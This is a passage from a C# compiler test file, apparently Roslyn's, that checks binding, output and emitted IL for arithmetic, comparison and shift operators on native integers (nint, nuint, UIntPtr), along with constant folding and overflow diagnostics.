binaryOps(symbol, "System.UIntPtr?", "ulong");
binaryOps(symbol, "System.UIntPtr?", "float");
binaryOps(symbol, "System.UIntPtr?", "double");
binaryOps(symbol, "System.UIntPtr?", "decimal");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr?", "bool?");
binaryOps(symbol, "System.UIntPtr?", "char?");
binaryOps(symbol, "System.UIntPtr?", "sbyte?");
binaryOps(symbol, "System.UIntPtr?", "byte?");
binaryOps(symbol, "System.UIntPtr?", "short?");
binaryOps(symbol, "System.UIntPtr?", "ushort?");
binaryOps(symbol, "System.UIntPtr?", "int?");
binaryOps(symbol, "System.UIntPtr?", "uint?");
binaryOps(symbol, "System.UIntPtr?", "nint?");
binaryOps(symbol, "System.UIntPtr?", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long?");
binaryOps(symbol, "System.UIntPtr?", "ulong?");
binaryOps(symbol, "System.UIntPtr?", "float?");
binaryOps(symbol, "System.UIntPtr?", "double?");
binaryOps(symbol, "System.UIntPtr?", "decimal?");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr?");
}
void binaryOperator(string op, string leftType, string rightType, string expectedSymbol, DiagnosticDescription[] expectedDiagnostics)
{
bool useUnsafeContext = useUnsafe(leftType) || useUnsafe(rightType);
string source =
$@"class Program
{{
static {(useUnsafeContext ? "unsafe " : "")}object Evaluate({leftType} x, {rightType} y)
{{
return x {op} y;
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseDll.WithAllowUnsafe(useUnsafeContext), parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var expr = tree.GetRoot().DescendantNodes().OfType<BinaryExpressionSyntax>().Single();
var symbolInfo = model.GetSymbolInfo(expr);
Assert.Equal(expectedSymbol, symbolInfo.Symbol?.ToDisplayString(SymbolDisplayFormat.TestFormat.WithMiscellaneousOptions(SymbolDisplayMiscellaneousOptions.UseSpecialTypes)));
if (expectedDiagnostics.Length == 0)
{
CompileAndVerify(comp);
}
static bool useUnsafe(string type) => type == "void*";
}
}
[Fact]
public void BinaryOperators_NInt()
{
var source =
@"using System;
class Program
{
static nint Add(nint x, nint y) => x + y;
static nint Subtract(nint x, nint y) => x - y;
static nint Multiply(nint x, nint y) => x * y;
static nint Divide(nint x, nint y) => x / y;
static nint Mod(nint x, nint y) => x % y;
static bool Equals(nint x, nint y) => x == y;
static bool NotEquals(nint x, nint y) => x != y;
static bool LessThan(nint x, nint y) => x < y;
static bool LessThanOrEqual(nint x, nint y) => x <= y;
static bool GreaterThan(nint x, nint y) => x > y;
static bool GreaterThanOrEqual(nint x, nint y) => x >= y;
static nint And(nint x, nint y) => x & y;
static nint Or(nint x, nint y) => x | y;
static nint Xor(nint x, nint y) => x ^ y;
static nint ShiftLeft(nint x, int y) => x << y;
static nint ShiftRight(nint x, int y) => x >> y;
static void Main()
{
Console.WriteLine(Add(3, 4));
Console.WriteLine(Subtract(3, 4));
Console.WriteLine(Multiply(3, 4));
Console.WriteLine(Divide(5, 2));
Console.WriteLine(Mod(5, 2));
Console.WriteLine(Equals(3, 4));
Console.WriteLine(NotEquals(3, 4));
Console.WriteLine(LessThan(3, 4));
Console.WriteLine(LessThanOrEqual(3, 4));
Console.WriteLine(GreaterThan(3, 4));
Console.WriteLine(GreaterThanOrEqual(3, 4));
Console.WriteLine(And(3, 5));
Console.WriteLine(Or(3, 5));
Console.WriteLine(Xor(3, 5));
Console.WriteLine(ShiftLeft(35, 4));
Console.WriteLine(ShiftRight(35, 4));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"7
-1
12
2
1
False
True
True
True
False
False
1
7
6
560
2");
verifier.VerifyIL("Program.Add",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: add
IL_0003: ret
}");
verifier.VerifyIL("Program.Subtract",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: sub
IL_0003: ret
}");
verifier.VerifyIL("Program.Multiply",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: mul
IL_0003: ret
}");
verifier.VerifyIL("Program.Divide",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: div
IL_0003: ret
}");
verifier.VerifyIL("Program.Mod",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: rem
IL_0003: ret
}");
verifier.VerifyIL("Program.Equals",
@"{
// Code size 5 (0x5)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: ceq
IL_0004: ret
}");
verifier.VerifyIL("Program.NotEquals",
@"{
// Code size 8 (0x8)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: ceq
IL_0004: ldc.i4.0
IL_0005: ceq
IL_0007: ret
}");
verifier.VerifyIL("Program.LessThan",
@"{
// Code size 5 (0x5)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: clt
IL_0004: ret
}");
verifier.VerifyIL("Program.LessThanOrEqual",
@"{
// Code size 8 (0x8)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: cgt
IL_0004: ldc.i4.0
IL_0005: ceq
IL_0007: ret
}");
verifier.VerifyIL("Program.GreaterThan",
@"{
// Code size 5 (0x5)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: cgt
IL_0004: ret
}");
verifier.VerifyIL("Program.GreaterThanOrEqual",
@"{
// Code size 8 (0x8)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: clt
IL_0004: ldc.i4.0
IL_0005: ceq
IL_0007: ret
}");
verifier.VerifyIL("Program.And",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: and
IL_0003: ret
}");
verifier.VerifyIL("Program.Or",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: or
IL_0003: ret
}");
verifier.VerifyIL("Program.Xor",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: xor
IL_0003: ret
}");
verifier.VerifyIL("Program.ShiftLeft",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: shl
IL_0003: ret
}");
verifier.VerifyIL("Program.ShiftRight",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: shr
IL_0003: ret
}");
}
[Fact]
public void BinaryOperators_NUInt()
{
var source =
@"using System;
class Program
{
static nuint Add(nuint x, nuint y) => x + y;
static nuint Subtract(nuint x, nuint y) => x - y;
static nuint Multiply(nuint x, nuint y) => x * y;
static nuint Divide(nuint x, nuint y) => x / y;
static nuint Mod(nuint x, nuint y) => x % y;
static bool Equals(nuint x, nuint y) => x == y;
static bool NotEquals(nuint x, nuint y) => x != y;
static bool LessThan(nuint x, nuint y) => x < y;
static bool LessThanOrEqual(nuint x, nuint y) => x <= y;
static bool GreaterThan(nuint x, nuint y) => x > y;
static bool GreaterThanOrEqual(nuint x, nuint y) => x >= y;
static nuint And(nuint x, nuint y) => x & y;
static nuint Or(nuint x, nuint y) => x | y;
static nuint Xor(nuint x, nuint y) => x ^ y;
static nuint ShiftLeft(nuint x, int y) => x << y;
static nuint ShiftRight(nuint x, int y) => x >> y;
static void Main()
{
Console.WriteLine(Add(3, 4));
Console.WriteLine(Subtract(4, 3));
Console.WriteLine(Multiply(3, 4));
Console.WriteLine(Divide(5, 2));
Console.WriteLine(Mod(5, 2));
Console.WriteLine(Equals(3, 4));
Console.WriteLine(NotEquals(3, 4));
Console.WriteLine(LessThan(3, 4));
Console.WriteLine(LessThanOrEqual(3, 4));
Console.WriteLine(GreaterThan(3, 4));
Console.WriteLine(GreaterThanOrEqual(3, 4));
Console.WriteLine(And(3, 5));
Console.WriteLine(Or(3, 5));
Console.WriteLine(Xor(3, 5));
Console.WriteLine(ShiftLeft(35, 4));
Console.WriteLine(ShiftRight(35, 4));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"7
1
12
2
1
False
True
True
True
False
False
1
7
6
560
2");
verifier.VerifyIL("Program.Add",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: add
IL_0003: ret
}");
verifier.VerifyIL("Program.Subtract",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: sub
IL_0003: ret
}");
verifier.VerifyIL("Program.Multiply",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: mul
IL_0003: ret
}");
verifier.VerifyIL("Program.Divide",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: div.un
IL_0003: ret
}");
verifier.VerifyIL("Program.Mod",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: rem.un
IL_0003: ret
}");
verifier.VerifyIL("Program.Equals",
@"{
// Code size 5 (0x5)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: ceq
IL_0004: ret
}");
verifier.VerifyIL("Program.NotEquals",
@"{
// Code size 8 (0x8)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: ceq
IL_0004: ldc.i4.0
IL_0005: ceq
IL_0007: ret
}");
verifier.VerifyIL("Program.LessThan",
@"{
// Code size 5 (0x5)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: clt.un
IL_0004: ret
}");
verifier.VerifyIL("Program.LessThanOrEqual",
@"{
// Code size 8 (0x8)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: cgt.un
IL_0004: ldc.i4.0
IL_0005: ceq
IL_0007: ret
}");
verifier.VerifyIL("Program.GreaterThan",
@"{
// Code size 5 (0x5)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: cgt.un
IL_0004: ret
}");
verifier.VerifyIL("Program.GreaterThanOrEqual",
@"{
// Code size 8 (0x8)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: clt.un
IL_0004: ldc.i4.0
IL_0005: ceq
IL_0007: ret
}");
verifier.VerifyIL("Program.And",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: and
IL_0003: ret
}");
verifier.VerifyIL("Program.Or",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: or
IL_0003: ret
}");
verifier.VerifyIL("Program.Xor",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: xor
IL_0003: ret
}");
verifier.VerifyIL("Program.ShiftLeft",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: shl
IL_0003: ret
}");
verifier.VerifyIL("Program.ShiftRight",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: shr.un
IL_0003: ret
}");
}
[Fact]
public void BinaryOperators_NInt_Checked()
{
var source =
@"using System;
class Program
{
static nint Add(nint x, nint y) => checked(x + y);
static nint Subtract(nint x, nint y) => checked(x - y);
static nint Multiply(nint x, nint y) => checked(x * y);
static nint Divide(nint x, nint y) => checked(x / y);
static nint Mod(nint x, nint y) => checked(x % y);
static void Main()
{
Console.WriteLine(Add(3, 4));
Console.WriteLine(Subtract(3, 4));
Console.WriteLine(Multiply(3, 4));
Console.WriteLine(Divide(5, 2));
Console.WriteLine(Mod(5, 2));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"7
-1
12
2
1");
verifier.VerifyIL("Program.Add",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: add.ovf
IL_0003: ret
}");
verifier.VerifyIL("Program.Subtract",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: sub.ovf
IL_0003: ret
}");
verifier.VerifyIL("Program.Multiply",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: mul.ovf
IL_0003: ret
}");
verifier.VerifyIL("Program.Divide",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: div
IL_0003: ret
}");
verifier.VerifyIL("Program.Mod",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: rem
IL_0003: ret
}");
}
[Fact]
public void BinaryOperators_NUInt_Checked()
{
var source =
@"using System;
class Program
{
static nuint Add(nuint x, nuint y) => checked(x + y);
static nuint Subtract(nuint x, nuint y) => checked(x - y);
static nuint Multiply(nuint x, nuint y) => checked(x * y);
static nuint Divide(nuint x, nuint y) => checked(x / y);
static nuint Mod(nuint x, nuint y) => checked(x % y);
static void Main()
{
Console.WriteLine(Add(3, 4));
Console.WriteLine(Subtract(4, 3));
Console.WriteLine(Multiply(3, 4));
Console.WriteLine(Divide(5, 2));
Console.WriteLine(Mod(5, 2));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"7
1
12
2
1");
verifier.VerifyIL("Program.Add",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: add.ovf.un
IL_0003: ret
}");
verifier.VerifyIL("Program.Subtract",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: sub.ovf.un
IL_0003: ret
}");
verifier.VerifyIL("Program.Multiply",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: mul.ovf.un
IL_0003: ret
}");
verifier.VerifyIL("Program.Divide",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: div.un
IL_0003: ret
}");
verifier.VerifyIL("Program.Mod",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: rem.un
IL_0003: ret
}");
}
[Fact]
public void ConstantFolding()
{
const string intMinValue = "-2147483648";
const string intMaxValue = "2147483647";
const string uintMaxValue = "4294967295";
const string ulongMaxValue = "18446744073709551615";
unaryOperator("nint", "+", intMinValue, intMinValue);
unaryOperator("nint", "+", intMaxValue, intMaxValue);
unaryOperator("nuint", "+", "0", "0");
unaryOperator("nuint", "+", uintMaxValue, uintMaxValue);
unaryOperator("nint", "-", "-1", "1");
unaryOperatorCheckedOverflow("nint", "-", intMinValue, IntPtr.Size == 4 ? "-2147483648" : "2147483648");
unaryOperator("nint", "-", "-2147483647", intMaxValue);
unaryOperator("nint", "-", intMaxValue, "-2147483647");
unaryOperator("nuint", "-", "0", null, getBadUnaryOpDiagnostics);
unaryOperator("nuint", "-", "1", null, getBadUnaryOpDiagnostics);
unaryOperator("nuint", "-", uintMaxValue, null, getBadUnaryOpDiagnostics);
unaryOperatorNotConstant("nint", "~", "0", "-1");
unaryOperatorNotConstant("nint", "~", "-1", "0");
unaryOperatorNotConstant("nint", "~", intMinValue, "2147483647");
unaryOperatorNotConstant("nint", "~", intMaxValue, "-2147483648");
unaryOperatorNotConstant("nuint", "~", "0", IntPtr.Size == 4 ? uintMaxValue : ulongMaxValue);
unaryOperatorNotConstant("nuint", "~", uintMaxValue, IntPtr.Size == 4 ? "0" : "18446744069414584320");
binaryOperatorCheckedOverflow("nint", "+", "nint", intMinValue, "nint", "-1", IntPtr.Size == 4 ? "2147483647" : "-2147483649");
binaryOperator("nint", "+", "nint", "-2147483647", "nint", "-1", intMinValue);
binaryOperatorCheckedOverflow("nint", "+", "nint", "1", "nint", intMaxValue, IntPtr.Size == 4 ? "-2147483648" : "2147483648");
binaryOperator("nint", "+", "nint", "1", "nint", "2147483646", intMaxValue);
binaryOperatorCheckedOverflow("nuint", "+", "nuint", "1", "nuint", uintMaxValue, IntPtr.Size == 4 ? "0" : "4294967296");
binaryOperator("nuint", "+", "nuint", "1", "nuint", "4294967294", uintMaxValue);
binaryOperatorCheckedOverflow("nint", "-", "nint", intMinValue, "nint", "1", IntPtr.Size == 4 ? "2147483647" : "-2147483649");
binaryOperator("nint", "-", "nint", intMinValue, "nint", "-1", "-2147483647");
binaryOperator("nint", "-", "nint", "-1", "nint", intMaxValue, intMinValue);
binaryOperatorCheckedOverflow("nint", "-", "nint", "-2", "nint", intMaxValue, IntPtr.Size == 4 ? "2147483647" : "-2147483649");
binaryOperatorCheckedOverflow("nuint", "-", "nuint", "0", "nuint", "1", IntPtr.Size == 4 ? uintMaxValue : ulongMaxValue);
binaryOperator("nuint", "-", "nuint", uintMaxValue, "nuint", uintMaxValue, "0");
binaryOperatorCheckedOverflow("nint", "*", "nint", intMinValue, "nint", "2", IntPtr.Size == 4 ? "0" : "-4294967296");
binaryOperatorCheckedOverflow("nint", "*", "nint", intMinValue, "nint", "-1", IntPtr.Size == 4 ? "-2147483648" : "2147483648");
binaryOperator("nint", "*", "nint", "-1", "nint", intMaxValue, "-2147483647");
binaryOperatorCheckedOverflow("nint", "*", "nint", "2", "nint", intMaxValue, IntPtr.Size == 4 ? "-2" : "4294967294");
binaryOperatorCheckedOverflow("nuint", "*", "nuint", uintMaxValue, "nuint", "2", IntPtr.Size == 4 ? "4294967294" : "8589934590");
binaryOperator("nuint", "*", "nuint", intMaxValue, "nuint", "2", "4294967294");
binaryOperator("nint", "/", "nint", intMinValue, "nint", "1", intMinValue);
binaryOperatorCheckedOverflow("nint", "/", "nint", intMinValue, "nint", "-1", IntPtr.Size == 4 ? "System.OverflowException" : "2147483648");
binaryOperator("nint", "/", "nint", "1", "nint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nint", "/", "nint", "0", "nint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nuint", "/", "nuint", uintMaxValue, "nuint", "1", uintMaxValue);
binaryOperator("nuint", "/", "nuint", uintMaxValue, "nuint", "2", intMaxValue);
binaryOperator("nuint", "/", "nuint", "1", "nuint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nuint", "/", "nuint", "0", "nuint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nint", "%", "nint", intMinValue, "nint", "2", "0");
binaryOperator("nint", "%", "nint", intMinValue, "nint", "-2", "0");
binaryOperatorCheckedOverflow("nint", "%", "nint", intMinValue, "nint", "-1", IntPtr.Size == 4 ? "System.OverflowException" : "0");
binaryOperator("nint", "%", "nint", "1", "nint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nint", "%", "nint", "0", "nint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nuint", "%", "nuint", uintMaxValue, "nuint", "1", "0");
binaryOperator("nuint", "%", "nuint", uintMaxValue, "nuint", "2", "1");
binaryOperator("nuint", "%", "nuint", "1", "nuint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("nuint", "%", "nuint", "0", "nuint", "0", null, getIntDivByZeroDiagnostics);
binaryOperator("bool", "<", "nint", intMinValue, "nint", intMinValue, "False");
binaryOperator("bool", "<", "nint", intMinValue, "nint", intMaxValue, "True");
binaryOperator("bool", "<", "nint", intMaxValue, "nint", intMaxValue, "False");
binaryOperator("bool", "<", "nuint", "0", "nuint", "0", "False");
binaryOperator("bool", "<", "nuint", "0", "nuint", uintMaxValue, "True");
binaryOperator("bool", "<", "nuint", uintMaxValue, "nuint", uintMaxValue, "False");
binaryOperator("bool", "<=", "nint", intMinValue, "nint", intMinValue, "True");
binaryOperator("bool", "<=", "nint", intMaxValue, "nint", intMinValue, "False");
binaryOperator("bool", "<=", "nint", intMaxValue, "nint", intMaxValue, "True");
binaryOperator("bool", "<=", "nuint", "0", "nuint", "0", "True");
binaryOperator("bool", "<=", "nuint", uintMaxValue, "nuint", "0", "False");
binaryOperator("bool", "<=", "nuint", uintMaxValue, "nuint", uintMaxValue, "True");
binaryOperator("bool", ">", "nint", intMinValue, "nint", intMinValue, "False");
binaryOperator("bool", ">", "nint", intMaxValue, "nint", intMinValue, "True");
binaryOperator("bool", ">", "nint", intMaxValue, "nint", intMaxValue, "False");
binaryOperator("bool", ">", "nuint", "0", "nuint", "0", "False");
binaryOperator("bool", ">", "nuint", uintMaxValue, "nuint", "0", "True");
binaryOperator("bool", ">", "nuint", uintMaxValue, "nuint", uintMaxValue, "False");
binaryOperator("bool", ">=", "nint", intMinValue, "nint", intMinValue, "True");
binaryOperator("bool", ">=", "nint", intMinValue, "nint", intMaxValue, "False");
binaryOperator("bool", ">=", "nint", intMaxValue, "nint", intMaxValue, "True");
binaryOperator("bool", ">=", "nuint", "0", "nuint", "0", "True");
binaryOperator("bool", ">=", "nuint", "0", "nuint", uintMaxValue, "False");
binaryOperator("bool", ">=", "nuint", uintMaxValue, "nuint", uintMaxValue, "True");
binaryOperator("bool", "==", "nint", intMinValue, "nint", intMinValue, "True");
binaryOperator("bool", "==", "nint", intMinValue, "nint", intMaxValue, "False");
binaryOperator("bool", "==", "nint", intMaxValue, "nint", intMaxValue, "True");
binaryOperator("bool", "==", "nuint", "0", "nuint", "0", "True");
binaryOperator("bool", "==", "nuint", "0", "nuint", uintMaxValue, "False");
binaryOperator("bool", "==", "nuint", uintMaxValue, "nuint", uintMaxValue, "True");
binaryOperator("bool", "!=", "nint", intMinValue, "nint", intMinValue, "False");
binaryOperator("bool", "!=", "nint", intMinValue, "nint", intMaxValue, "True");
binaryOperator("bool", "!=", "nint", intMaxValue, "nint", intMaxValue, "False");
binaryOperator("bool", "!=", "nuint", "0", "nuint", "0", "False");
binaryOperator("bool", "!=", "nuint", "0", "nuint", uintMaxValue, "True");
binaryOperator("bool", "!=", "nuint", uintMaxValue, "nuint", uintMaxValue, "False");
// https://github.com/dotnet/roslyn/issues/42460: Results of `<<` should be dependent on platform.
binaryOperator("nint", "<<", "nint", intMinValue, "int", "0", intMinValue);
binaryOperator("nint", "<<", "nint", intMinValue, "int", "1", "0");
binaryOperator("nint", "<<", "nint", "-1", "int", "31", intMinValue);
binaryOperator("nint", "<<", "nint", "-1", "int", "32", "-1");
binaryOperator("nuint", "<<", "nuint", "0", "int", "1", "0");
binaryOperator("nuint", "<<", "nuint", uintMaxValue, "int", "1", "4294967294");
binaryOperator("nuint", "<<", "nuint", "1", "int", "31", "2147483648");
binaryOperator("nuint", "<<", "nuint", "1", "int", "32", "1");
binaryOperator("nint", ">>", "nint", intMinValue, "int", "0", intMinValue);
binaryOperator("nint", ">>", "nint", intMinValue, "int", "1", "-1073741824");
binaryOperator("nint", ">>", "nint", "-1", "int", "31", "-1");
binaryOperator("nint", ">>", "nint", "-1", "int", "32", "-1");
binaryOperator("nuint", ">>", "nuint", "0", "int", "1", "0");
binaryOperator("nuint", ">>", "nuint", uintMaxValue, "int", "1", intMaxValue);
binaryOperator("nuint", ">>", "nuint", "1", "int", "31", "0");
binaryOperator("nuint", ">>", "nuint", "1", "int", "32", "1");
binaryOperator("nint", "&", "nint", intMinValue, "nint", "0", "0");
binaryOperator("nint", "&", "nint", intMinValue, "nint", "-1", intMinValue);
binaryOperator("nint", "&", "nint", intMinValue, "nint", intMaxValue, "0");
binaryOperator("nuint", "&", "nuint", "0", "nuint", uintMaxValue, "0");
binaryOperator("nuint", "&", "nuint", intMaxValue, "nuint", uintMaxValue, intMaxValue);
binaryOperator("nuint", "&", "nuint", intMaxValue, "nuint", "2147483648", "0");
binaryOperator("nint", "|", "nint", intMinValue, "nint", "0", intMinValue);
binaryOperator("nint", "|", "nint", intMinValue, "nint", "-1", "-1");
binaryOperator("nint", "|", "nint", intMaxValue, "nint", intMaxValue, intMaxValue);
binaryOperator("nuint", "|", "nuint", "0", "nuint", uintMaxValue, uintMaxValue);
binaryOperator("nuint", "|", "nuint", intMaxValue, "nuint", intMaxValue, intMaxValue);
binaryOperator("nuint", "|", "nuint", intMaxValue, "nuint", "2147483648", uintMaxValue);
binaryOperator("nint", "^", "nint", intMinValue, "nint", "0", intMinValue);
binaryOperator("nint", "^", "nint", intMinValue, "nint", "-1", intMaxValue);
binaryOperator("nint", "^", "nint", intMaxValue, "nint", intMaxValue, "0");
binaryOperator("nuint", "^", "nuint", "0", "nuint", uintMaxValue, uintMaxValue);
binaryOperator("nuint", "^", "nuint", intMaxValue, "nuint", intMaxValue, "0");
binaryOperator("nuint", "^", "nuint", intMaxValue, "nuint", "2147483648", uintMaxValue);
static DiagnosticDescription[] getNoDiagnostics(string opType, string op, string operand) => Array.Empty<DiagnosticDescription>();
static DiagnosticDescription[] getBadUnaryOpDiagnostics(string opType, string op, string operand) => new[] { Diagnostic(ErrorCode.ERR_BadUnaryOp, operand).WithArguments(op, opType) };
static DiagnosticDescription[] getIntDivByZeroDiagnostics(string opType, string op, string operand) => new[] { Diagnostic(ErrorCode.ERR_IntDivByZero, operand) };
void unaryOperator(string opType, string op, string operand, string expectedResult, Func<string, string, string, DiagnosticDescription[]> getDiagnostics = null)
{
getDiagnostics ??= getNoDiagnostics;
var declarations = $"const {opType} A = {operand};";
var expr = $"{op}A";
var diagnostics = getDiagnostics(opType, op, expr);
constantDeclaration(opType, declarations, expr, expectedResult, diagnostics);
constantDeclaration(opType, declarations, $"checked({expr})", expectedResult, diagnostics);
constantDeclaration(opType, declarations, $"unchecked({expr})", expectedResult, diagnostics);
expr = $"{op}({opType})({operand})";
diagnostics = getDiagnostics(opType, op, expr);
constantExpression(opType, expr, expectedResult, diagnostics);
constantExpression(opType, $"checked({expr})", expectedResult, diagnostics);
constantExpression(opType, $"unchecked({expr})", expectedResult, diagnostics);
}
void unaryOperatorCheckedOverflow(string opType, string op, string operand, string expectedResult)
{
var declarations = $"const {opType} A = {operand};";
var expr = $"{op}A";
constantDeclaration(opType, declarations, expr, null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantDeclaration(opType, declarations, $"checked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantDeclaration(opType, declarations, $"unchecked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_NotConstantExpression, $"unchecked({expr})").WithArguments("Library.F") });
expr = $"{op}({opType})({operand})";
constantExpression(opType, expr, null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantExpression(opType, $"checked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantExpression(opType, $"unchecked({expr})", expectedResult, Array.Empty<DiagnosticDescription>());
}
void unaryOperatorNotConstant(string opType, string op, string operand, string expectedResult)
{
var declarations = $"const {opType} A = {operand};";
var expr = $"{op}A";
constantDeclaration(opType, declarations, expr, null, new[] { Diagnostic(ErrorCode.ERR_NotConstantExpression, expr).WithArguments("Library.F") });
constantDeclaration(opType, declarations, $"checked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_NotConstantExpression, $"checked({expr})").WithArguments("Library.F") });
constantDeclaration(opType, declarations, $"unchecked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_NotConstantExpression, $"unchecked({expr})").WithArguments("Library.F") });
expr = $"{op}({opType})({operand})";
constantExpression(opType, expr, expectedResult, Array.Empty<DiagnosticDescription>());
constantExpression(opType, $"checked({expr})", expectedResult, Array.Empty<DiagnosticDescription>());
constantExpression(opType, $"unchecked({expr})", expectedResult, Array.Empty<DiagnosticDescription>());
}
void binaryOperator(string opType, string op, string leftType, string leftOperand, string rightType, string rightOperand, string expectedResult, Func<string, string, string, DiagnosticDescription[]> getDiagnostics = null)
{
getDiagnostics ??= getNoDiagnostics;
var declarations = $"const {leftType} A = {leftOperand}; const {rightType} B = {rightOperand};";
var expr = $"A {op} B";
var diagnostics = getDiagnostics(opType, op, expr);
constantDeclaration(opType, declarations, expr, expectedResult, diagnostics);
constantDeclaration(opType, declarations, $"checked({expr})", expectedResult, diagnostics);
constantDeclaration(opType, declarations, $"unchecked({expr})", expectedResult, diagnostics);
expr = $"(({leftType})({leftOperand})) {op} (({rightType})({rightOperand}))";
diagnostics = getDiagnostics(opType, op, expr);
constantExpression(opType, expr, expectedResult, diagnostics);
constantExpression(opType, $"checked({expr})", expectedResult, diagnostics);
constantExpression(opType, $"unchecked({expr})", expectedResult, diagnostics);
}
void binaryOperatorCheckedOverflow(string opType, string op, string leftType, string leftOperand, string rightType, string rightOperand, string expectedResult)
{
var declarations = $"const {leftType} A = {leftOperand}; const {rightType} B = {rightOperand};";
var expr = $"A {op} B";
